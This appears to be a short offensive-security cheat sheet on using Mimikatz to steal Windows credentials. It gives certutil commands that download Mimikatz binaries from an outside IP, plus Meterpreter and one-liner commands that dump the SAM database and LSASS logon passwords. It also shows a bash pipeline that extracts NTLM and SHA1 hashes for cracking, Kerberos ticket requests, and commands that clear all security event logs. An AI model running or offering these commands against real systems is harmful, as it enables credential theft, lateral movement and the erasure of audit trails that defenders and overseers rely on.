Windows creates and stores credentials in the Local Security Authority Subsystem Service LSASS in the memory. On the filesystem, the sam database stores the hashes.
Use Mimikatz
- as standalone
- If you need to copy the files:
certutil.exe -urlcache -split -f "http://192.168.119.158:8000/mimidrv.sys" mimidrv.sys certutil.exe -urlcache -split -f "http://192.168.119.158:8000/mimikatz.exe" mimikatz.exe certutil.exe -urlcache -split -f "http://192.168.119.158:8000/mimilib.dll" mimilib.dll
- If you need to copy the files:
- as Meterpreter module
load mimikatz
mimikatz_command -f samdump::hashes
mimikatz_command -f sekurlsa::searchPasswords
mimikatz_command -f sekurlsa::logonPasswords...
- as PowerShellEmpire module
- Multiple commands can be used for non-interactive execution.
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
mimikatz.exe "privilege::debug" "lsadump::sam" exit
Usage
Enable debug mode. This usess the SeDebugPrivilege so that we are able to communicate with other processes.
privilege:debug
Try to elevate privileges to obtain SYSTEM user privileges:
token::elevate
Get contents of the SAM database
lsadump::sam
Dump content of the LSASS.
sekurlsa::logonpasswords
- Tip: Use the following bash line to extract the passwords to get a file for hashcat:
cat securlsa_logonpasswords.txt | grep NTLM | cut -d" " -f9 | uniq cat securlsa_logonpasswords.txt | grep SHA1 | cut -d" " -f9 | uniq
Get (Kerberos) tickets:
- Connect to a system via Kerberos. For example, try to list a share:
PS> dir \\host.dom.ain\backup - Now, list the tickets:
sekurlsa::tickets
Kerberos
Ask for a TGS ticket from a service.
Requires:
- User account
- Serviceprincipalname of a service
kerberos::ask /target:HTTP/svMSSQL.svcorp.com
Various
Delete event logs
Clear all (!) security event logs
privilege::debug event::drop event::clear
Leave a Reply
You must be logged in to post a comment.